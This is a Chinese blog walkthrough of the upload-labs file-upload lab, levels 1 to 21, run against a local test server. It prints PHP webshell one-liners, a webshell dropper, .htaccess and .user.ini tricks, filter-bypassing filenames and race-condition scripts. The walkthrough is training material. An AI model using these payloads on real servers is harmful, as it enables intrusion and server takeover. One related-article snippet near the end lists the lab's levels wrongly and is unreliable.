【upload文件上传】upload-labs靶场详细笔记

最新推荐文章于 2024-05-17 18:09:12 发布
最新推荐文章于 2024-05-17 18:09:12 发布
阅读量117 收藏
点赞数
文章标签： 笔记 web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_63563528/article/details/131933930
版权

文件上传漏洞是指用户上传了一个可以执行的脚本文件，并且可以通过该文件获得服务器的权限的一种漏洞，大部分网站都有上传的功能，比如说上传pdf，上传png、php、exe等文件，一些文件会被网站所过滤，但是大部分web的过滤不够严格，导致在上传的位置上，用户可以上传一些带有脚本的文件，web端对脚本文件进行php解析，可以任意执行脚本文件。

upload-labs靶场详细笔记

1. Pass-01 JavaScript检查

在这里插入图片描述

上传一句话木马：a.php，内容为：<?php @eval($_POST['a']) ;?>，点击上传显示文件类型不符，该题应用了js验证，禁用网页js可以绕过，也可burpsuite抓包后更改文件后缀，这题我分别都试一下。

在这里插入图片描述

禁用JS方法：F12键点击调试器，右上角设置键，禁用JavaScript：

在这里插入图片描述
禁用后可以成功上传文件a.php，F12键，点击网络，F5刷新一下，点击上传的a.php，可以查看到文件上传的目录，查到目录才能用蚁剑连接上：

在这里插入图片描述
蚁剑连接这个目录，密码是a，即一句话木马中的<?php @eval($_POST['a']) ;?> ‘a’就是密码，连接成功：

在这里插入图片描述

抓包方法：将刚才的a.php后缀改成符号上传条件的jpg，上传时burpsuite抓下包，抓到的内容如下：

在这里插入图片描述
更改Content-Disposition:后面的文件后缀，将jpg又改回php，之后点击左上角的Forward，回到浏览器，发现文件也上传成功，之后的蚁剑连接步骤相同不再赘述。

在这里插入图片描述

2. Pass-02 文件类型检查

尝试上传a.php，提示：文件类型不正确，请重新上传！

在这里插入图片描述
此题做了文件类型检查，检查Content-Type标头是否与MIME 类型匹配，
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准，用来表示文档、文件或字节流的性质和格式。

MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

浏览器通常使用 MIME 类型（而不是文件扩展名）来确定如何处理URL。

只需要burpsuite抓包更改Content-Type:为image/png就可以绕过检查：

在这里插入图片描述

3. Pass-03 黑名单检查

在这里插入图片描述
如图，尝试上传a.php时提示：不允许上传.asp,.aspx,.php,.jsp后缀文件！ 这是黑名单检查类型的，显然黑名单包含的文件类型存在漏洞，php5、php3这些都可以绕过，比如我改文件后缀为php3试一次，发现成功上传，虽然重命名了文件名，但是可以查看，所以不影响蚁剑连接：

在这里插入图片描述
复制这一串路径，用蚁剑连接，发现上传的文件都在：

在这里插入图片描述

4. Pass-04 .htaccess

该题的黑名单过滤相当严格，无法通过简单的修改后缀名来进行绕过，在这里学习一个配置文件，叫做.htaccess分布式配置文件，htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。

使用时，先将它进行文件上传，再上传webshell文件，webshell文件需要修改后缀为可以上传的文件类型，如a.jpg，我理解的它的作用就是：将目录中指定的文件以指定的文件类型执行。文件名就是 .htaccess，内容为：

<FilesMatch "a.jpg">
       SetHandler  application/x-httpd-php
</FilesMatch>

如此，就成功上传并执行了，可以用蚁剑查看：

在这里插入图片描述

5. Pass-05 .user.ini

在这里插入图片描述

上一关使用的.htaccess被黑名单了，但是发现.ini不在黑名单了，而且提示存在可执行文件readme.php：

在这里插入图片描述
所以考虑使用.user.ini，可以利用 .user.ini 文件使得运行 readme.php 时包含上传的图片。

.user.ini中有两个配置，是auto_prepend_file和auto_append_file。这两个配置的意思是：我们指定一个文件（如a.jpg），那么该文件就会被包含在要执行的php文件中（如readme.php），相当于在readme.php中插入一句：require(./a.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入，auto_append_file在文件最后插入。

.user.ini

auto_prepend_file=a.jpg //所有的php文件都自动包含a.jpg文件。

a.jpg

<?php 
@eval($_POST['a']) ;
?>

由于user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒（5 分钟）。在依次上传文件后需要等待5分钟，即可用蚁剑连接上去，连接的目录就是：

http://127.0.0.1/upload/upload/readme.php

6. Pass-06 大小写绕过

本题同时过滤了.htaccess和.user.ini，但是没有使用strtolower()函数，可以使用大小写绕过黑名单。把.php 格式改为 .Php 上传上去之后，就会自动解析为.php：

在这里插入图片描述
记下路径，通过蚁剑连接即可：

在这里插入图片描述

7. Pass-07 空格绕过

本关没有使用去除空格的函数，可以使用空格绕过：

上传文件时用burpsuite抓包，在文件后缀后面加空格，之后放包：

在这里插入图片描述

记下文件上传的路径，蚁剑就可以直接连接：

在这里插入图片描述

8. Pass-08 点号绕过

本关没有使用去除点号.的函数，可以使用点号绕过，依旧是使用burpsuite抓包然后添加点号放包：

在这里插入图片描述
得到路径，用蚁剑连接。

9. Pass-09 字符串::$DATA绕过

本关没有使用去除字符串的str_ireplace函数，可以使用::DATA来进行绕过：在window的时候如果文件名+"::$DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名，且保持::DATA之前的文件名，他的目的就是不检查后缀名。

例如:“phpinfo.php::$DATA"Windows会自动去掉末尾的字符串变成"phpinfo.php”

同样是使用burpsuite转包改名后放包，得到文件上传路径：

在这里插入图片描述

10. Pass-10 黑名单

本关卡使用了 deldot() 删除文件名末尾的点。

deldot() 函数从末尾向前检测，检测到第一个点后，会继续向前检测，但遇到空格会停下来

可以构造文件名： webshell.php.（空格）. 绕过检测：

在这里插入图片描述

放包：

在这里插入图片描述
蚁剑通过这个路径连接就可以。

11. Pass-11 双写绕过

本关卡使用str_ireplace()函数将黑名单的字符串替换为空：

  $file_name = str_ireplace($deny_ext,"", $file_name);

函数语法：

在这里插入图片描述
该题的漏洞在于替换只替换了一次，可以双写php，替换一次之后还剩下php后缀，从而绕过过滤：
上传a.phphpp：

在这里插入图片描述

12. Pass-12 白名单 00截断

在这里插入图片描述
本题是白名单，了解一波00截断：
在url中%00表示ascll码中的0 ，而ascii中0作为特殊字符保留，表示字符串结束，所以当url中出现%00时就会认为读取已结束。
%00适用于php<5.3.42,且服务器中的php.ini中的magic_quotes_gpc = Off，才可以进行%00截断。
在做本题之前我将mysql版本切换了：
在这里插入图片描述

将magic_quotes_gpc设置为off：

在这里插入图片描述

阅读源码：

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

我们看到传了save_path，表示路径可控，上传a.php，bp抓包之后%00截断之后的内容：save_path=…/upload/a.php%00
修改后点击go，在这里获取到文件上传路径，注意路径为：
http://127.0.0.1/upload/upload/a.php，后面jpg那段不要。

在这里插入图片描述
蚁剑连接成功：

在这里插入图片描述

13. Pass-13 00截断

同样的00截断，与Pass-12相比，只是请求方式变成了POST。

在这里插入图片描述
POST方式无法自动解码，所以我们需要在hex中找到相对应的位置将数字修改为00。

在这里插入图片描述
在此处添加a.php+，加号的作用是方便在一众HEX码中找到该位置进行替换00。+的hex值是2b，要把他替换为00

在这里插入图片描述
修改后点击go，成功获得上传路径：

在这里插入图片描述
路径为：http://127.0.0.1/upload/upload/a.php

14. Pass-14 图片马

事先学习下各种图片的标志：

1.Png图片文件包括8字节：89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节：FF D8。
3.Gif图片文件包括6字节：47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节：42 4D。即为 BM。

这关会检查上传的文件头两位，判断文件类型。

制作图片马，打开cmd命令提示符，使用
copy b.jpg/b + b.php 14.jpg制作jpg图片马，同样的方法，改一下后缀就可以做出14.png、14.gif图片马。
我使用的图片马内容是<?php phpinfo(); ?>

在这里插入图片描述
上传时使用bp抓包，发送后找到这个名称路径：

在这里插入图片描述
上传后不能自行运行，还需要利用文件包含漏洞使他运行：

在这里插入图片描述

这个是直接可以点的链接，点击进去，在pyload后加上?file=（你刚刚得到的路径）

在这里插入图片描述

看到我们的phpinfo跑起来了说明图片马成功解析了。
另外两个图片马的上传也是同样的。

在这里插入图片描述
将他们上传就行。

15. Pass-15 图片马getimagesize()

在这里插入图片描述
同样白名单检查文件头是否是图片类型。还是可以用第14关的图片马来上传。

在这里插入图片描述

16. Pass-16 图片马exif_imagetype()

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。

返回值与getimage()函数返回的索引2相同，但是速度比getimage快得多。需要开启php_exif模块。

在这里插入图片描述
所以还是可以用第十四关的图片马绕过，并使用文件包含漏洞解析图片马。

17. Pass-17 二次渲染

提示我们本题进行了重渲染，这样的题的做法是找出不被重新渲染的部分插入一句话。

在这里插入图片描述

我引用了网上老师傅做好的gif图片：https://wwe.lanzoui.com/iFSwwn53jaf

在这里插入图片描述

还是一样的上传之后抓包，发包，找到目标路径，然后文件包含漏洞：

在这里插入图片描述
文件包含漏洞执行之后看到这样的内容就行了。

在这里插入图片描述

18. Pass-18 条件竞争

认识一个概念：条件竞争：条件竞争漏洞是一种服务器端的漏洞，由于服务器在处理不同请求时时并发进行的，因此处理不当会或者相关操作顺序设计的不合理时，将导致漏洞产生。
在这里插入图片描述
提示代码审计：

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

这里是条件竞争，先将文件上传到服务器，然后判断文件后缀是否在白名单里，如果在则重命名，否则删除，因此我们可以上传1.php只需要在它删除之前访问即可，可以利用burp的intruder模块不断上传，然后我们不断的访问刷新该地址即可。

上传一个文件pass.php：

<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>

上传时用bp抓包然后发送到intruder模块跑。把这个php文件通过burp一直不停的重放，然后再写python脚本去不停的访问我们上传的这个文件，就会在文件未被服务器删除时访问到。

bp设置如下：
清除clear$

在这里插入图片描述
payloads选择null payloads，选择如下

在这里插入图片描述
线程数设置较高数值

在这里插入图片描述
bp开始跑，同时这个脚本也一起跑：

import requests
url = "http://127.0.0.1/upload/upload/pass18.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

目的就是不停地访问1.php知道成功访问到为止。当出现OK说明访问到了该文件，那么1.php应该也创建成功了，用蚁剑连接：

在这里插入图片描述

成功创建并连接。

19. Pass-19 条件竞争

这题有小bug，需要改一下靶场文件：
将myupload.php文件中的：

$this->cls_upload_dir = $dir;

改为

$this->cls_upload_dir = $dir.'/';

在这里插入图片描述

从源码来看的话，服务器先是将文件后缀跟白名单做了对比，然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
php无法上传，只能上传图片马之后使用文件包含漏洞使他解析。还是将这个一句话做成图片马：

<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["1"])?>');?>

跟第八关一样的bp设置方法，多个线程无限发送空payloads，同时用python脚本进行文件包含。脚本如下：

import requests
url = "http://127.0.0.1/upload/include.php?file=upload/pass19.jpg"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

只要出现“ok”，说明我的1.php已经被成功包含了，可以使用蚁剑连接，连接的payload为：http://127.0.0.1/upload/1.php

在这里插入图片描述

20. Pass-20 /.绕过

尝试上传一句话木马a.php，能够上传成功，但是将文件重命名为upload-19.jpg，导致木马无法生效。
阅读源码发现save_name可控，可以bp抓包，更改后缀名。

在这里插入图片描述
直接改php结果被拦截。搜索move_uploaded_file（）函数如何绕过：
/.绕过：
当move_uploaded_file函数参数可控时，可以尝试/.绕过，因为该函数会忽略掉文件末尾的/.，所以可以构造save_path=1.php/.,这样file_ext值就为空，就能绕过黑名单，而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
在这里插入图片描述
bp抓包将它重命名后的文件后缀改为php/.
修改完Forward放包，文件就成功上传，蚁剑连接这个payload：

在这里插入图片描述

21. Pass-21 /+数组

审计源码：

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

可以发现file_name经过reset($file) . '.' . $file[count($file) - 1]处理。

如果上传的是数组的话，会跳过 $file = explode('.', strtolower($file));并且后缀有白名单过滤。
而最终的文件名后缀取的是$file[count($file) - 1]，因此我们可以让file为 数组，file[0]为phpinfo.php/，然后再令file[2]为白名单中的jpg。

上传一句话木马a.php，同时bp抓包，在bp中作修改，修改如下：

在这里插入图片描述在这里插入图片描述
修改完点击go，然后就上传成功了：

在这里插入图片描述
蚁剑连接这个payload：http://127.0.0.1/upload/upload/upload-20.php/

在这里插入图片描述
在这里插入图片描述
靶场1-21关算是通关了。

7ig3r
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WEB渗透学习-upload-labs靶场
04-20
upload-labs为WEB渗透中文件上传漏洞专项练习靶场，内涵各种文件上传漏洞类型，采用关卡制，一共21关，由易到难，适合刚接触该漏洞的新手巩固练习
PHP、Apache环境中部署upload-labs(文件上传漏洞靶场)
01-08
PHP、Apache环境中部署upload-labs(文件上传漏洞靶场)
文件上传之Upload-Labs过关
yy
03-07 4496
目录 less-1 - js限制 方法1 方法2 less-2 - MIME类型检测 方法1 方法2 欢迎来到文件上传之Upload-Labs闯关，接下来介绍每一关的上传绕过方式 less-1 - js限制 方法1 1. 直接上传一个1.php的文件，内容为一句话木马 <?php phpinfo(); ?> 我们上传的时候开启了bp抓包，点击上传的时候，弹出对话框，可是流量并没有经过代理软件bp，由此我们猜想为前端上传的限制，我们查看源码发现，里面有
Upload-labs Pass-05 .user.ini文件上传
baynk的博客
05-25 2240
0x01 .user.ini分析 原靶场环境更新，在04关后更新了一关，从05关以后，所有的关卡都是往后推了一关。 这一关和04传.htaccess文件相似，过滤了.htaccess没有过滤.user.ini。 从上一关，可以知道.htaccess可以覆盖apache的配置文件，而.user.ini则可以覆盖php.ini的配置。 这里有几点需要注意一下： .htaccess文件只能用于apahce，不能用于iis和nginx等中间件 .user.ini只能用于Server API为FastCGI模式下，
upload-labs:pass-05
羽的博客
07-07 198
类型上还是一个后端黑名单绕过。 这里不一样的是又多加了一个.htaccess，也就是pass-04的方法不能用了。 不过还有一个配置文件： .user.ini文件。 .user.ini相当于一个用户自定义的php.ini。 先上传一个以auto_prepend_file=hacker.gif为内容的.user.ini文件，.user.ini文件里的意思是：所有的php文件都自动包含hacker.gif文件。 然后再传一个内容为php一句话的脚本，命名为hacker.gif， 这样，hack...
upload-labs靶场学习笔记1-21关
qq_56426046的博客
08-27 1632
服务器端使用白名单防御，修复 web 中间件的漏洞，禁止客户端存在可控参 数，存放文件目录禁止脚本执行，限制后缀名 一定要设置图片格式 jpg、gif 、 png 文件名随机的，不可预测。
文件上传漏洞靶场搭建（upload-labs）
Bluetuan的博客
12-29 780
在初步了解文件上传漏洞靶场搭建时发现经常使用uploads-labs作为现成靶场文件，这样一来就会大大降低搭建难度，同时搭建平台比较多，可以利用Linux、Window Sever 2008 R2、Docker等进行搭建，我在这里选择了使用自己电脑的Win11直接进行搭建，并未使用虚拟机。1.下载靶场代码，这是一个为了免去大家环境搭建的烦恼、基于phpstudy这个php集成环境搭建的、直接安装就能使用的靶场代码。4.点击启动即可启动靶场，此时界面可能会提示端口冲突，关闭该端口对应的服务即可。
upload-labs安装及攻略
热门推荐
K_ShenH的博客
01-14 2万+
upload-labs靶场的安装搭建（windows） （1）首先当然是需要phpstudy的环境，所以要先下载安装phpstudy。 （2）然后到github的网址中下载源码的压缩包。 github网址：https://github.com/Tj1ngwe1/upload-labs （3）下载后解压缩到phpstudy目录下的WWW子文件夹中，这里要注意吧压缩包的名字改成upload-labs，不然靶场的页面会显示得不对。 （4）然后在输入url HTTPS:...
Upload-labs靶场1-20小记
weixin_60985965的博客
09-20 1101
upload-labs靶场通关笔记，涉及到的知识点有：前端js绕过、黑名单绕过：大小写绕过、MIME、双写绕过、空格绕过、文件流绕过 ；白名单绕过：00截断、二次渲染、条件竞争
UpLoad-labs靶场通关笔记
安全知识学习-该平台为唯一原作者平台，其他平台属冒名顶替，请勿相信上当受骗
04-02 679
目录 UpLoad-labs靶场通关 运行环境 Pass-01 Pass-02 Pass-03 Pass-04 Pass-05 Pass-06 Pass-07 Pass-08 Pass-09 Pass-10 Pass-11 Pass-12 Pass-13 Pass-14 Pass-15 Pass-16 Pass-17 Pass-18 Pass-19 Pass-20 UpLoad-labs靶场通关笔记 运行环境 windows2008 + phps..
Upload-labs 1-21关 靶场通关笔记(含代码审计)
weixin_54894046的博客
10-15 7002
Upload-labs 1-21关 靶场通关笔记(含代码审计)
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考
upload-labs-master【文件上传靶场】
04-05
最新版文件上传靶场
文件上传之upload-labs(一)
01-08
使用xampp、phpstudy、docker搭建upload-labs，三者都可，docker最方便但是我不是太熟悉，xampp安装的时候有很多工序，所以我选择的是phpstudy搭建了靶机环境，个人觉得学习文件上传用dvwa好一点，这个用来训练和...
WEB转Flutter基础学习笔记（内含vue和flutter对比）
小易不止于搬砖的博客
05-17 670
笔者是一名web前端，记录在转栈flutter时的学习笔记，内涵和vue的对比，能够辅助前端同学更容易理解flutter
Pytorch学习笔记——Conv2d与Tensorboard的结合使用
weixin_50765519的博客
05-14 275
Conv2d是深度学习框架中用于执行二维卷积操作的函数或类。它接受输入数据(通常是图像)和卷积核作为参数，输出卷积特征图。这些特征图可以进一步用于分类、检测或其他计算机视觉任务。TensorBoard是一个强大的可视化工具，用于展示深度学习模型的各个方面。它可以展示模型的网络结构、参数分布、训练曲线以及图像、音频等媒体数据。通过使用TensorBoard，能够让研究人员和开发者可以更好地理解和调试模型，从而提高模型的性能和效果。
推荐系统学习笔记（一）
weixin_44880995的博客
05-15 146
同类策略（精排中的两种模型）天然互斥，并且（两条召回通道）效果会相互影响，避免干扰。反转：有的指标立刻影响，有的需要长期观测-------尽快推全也可以长期观测。10%作为holdout桶，实验使用剩余的90%，做diff（需要归一化）不同策略（添加召回通道，优化粗排模型）通常不会干扰，可以作为正交的两层。保留10%，完全不受实验影响，可以考察整个部门对业务指标的贡献。同层互斥----避免一个用户被两个实验影响。不同层正交----每层独立随机分配用户。推全：新层，与其他层正交，90%用户。
并发编程笔记3--synchronize底层实现原理
最新发布
qq_41056506的博客
05-17 737
Java中每一个对象都可以作为锁，具体的表现为以下3中方式当一个线程试图访问同步代码块时，他必须先获得锁。退出或抛出异常必须释放锁。那么锁到底存在哪里呢？锁中存储的是什么信息呢？从JVM规范中可以看到Synchronize在JVM中的实现原理，JVM是基于进入或退出Monitor对象来实现方法同步和代码块同步，但两者的实现细节不一样。1、代码块同步是使用monitorenter和monitorexit指令实现，2、而方法同步是使用另一种方式实现的，细节在JVM规范中并未详细说明。
upload-labs靶场1-21通关
08-17
你好！要通关 upload-labs 靶场的第 1-21 关，你需要依次完成每个关卡的任务。以下是通关每个关卡的一些提示： 1. Level 1 - 文件上传漏洞：尝试上传一个恶意文件，看看能否绕过上传限制。 2. Level 2 - 文件包含漏洞：尝试利用文件包含漏洞，读取服务器上的敏感文件。 3. Level 3 - XXE漏洞：在上传的 XML 文件中尝试触发外部实体注入。 4. Level 4 - SQL注入漏洞：利用输入点进行 SQL 注入攻击，尝试获取数据库中的敏感信息。 5. Level 5 - SSRF漏洞：尝试利用服务器端请求伪造漏洞，发起内部网络请求。 6. Level 6 - 文件上传漏洞2：绕过上传限制，上传一个恶意文件。 7. Level 7 - 文件包含漏洞2：利用文件包含漏洞，读取服务器上的敏感文件。 8. Level 8 - 反序列化漏洞：尝试触发反序列化漏洞，执行恶意代码。 9. Level 9 - 文件上传漏洞3：绕过上传限制，上传一个恶意文件。 10. Level 10 - 文件包含漏洞3：利用文件包含漏洞，读取服务器上的敏感文件。 11. Level 11 - XXE漏洞2：在上传的 XML 文件中触发外部实体注入。 12. Level 12 - SSRF漏洞2：尝试利用服务器端请求伪造漏洞，发起内部网络请求。 13. Level 13 - 文件上传漏洞4：绕过上传限制，上传一个恶意文件。 14. Level 14 - 文件包含漏洞4：利用文件包含漏洞，读取服务器上的敏感文件。 15. Level 15 - SQL注入漏洞2：利用输入点进行 SQL 注入攻击，尝试获取数据库中的敏感信息。 16. Level 16 - 文件上传漏洞5：绕过上传限制，上传一个恶意文件。 17. Level 17 - 文件包含漏洞5：利用文件包含漏洞，读取服务器上的敏感文件。 18. Level 18 - 反序列化漏洞2：尝试触发反序列化漏洞，执行恶意代码。 19. Level 19 - 文件上传漏洞6：绕过上传限制，上传一个恶意文件。 20. Level 20 - 文件包含漏洞6：利用文件包含漏洞，读取服务器上的敏感文件。 21. Level 21 - XXE漏洞3：在上传的 XML 文件中触发外部实体注入。 请注意，在完成每个关卡时，要仔细阅读相关提示和代码，理解漏洞的原理，并尝试不同的方法来解决问题。祝你顺利通关！

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值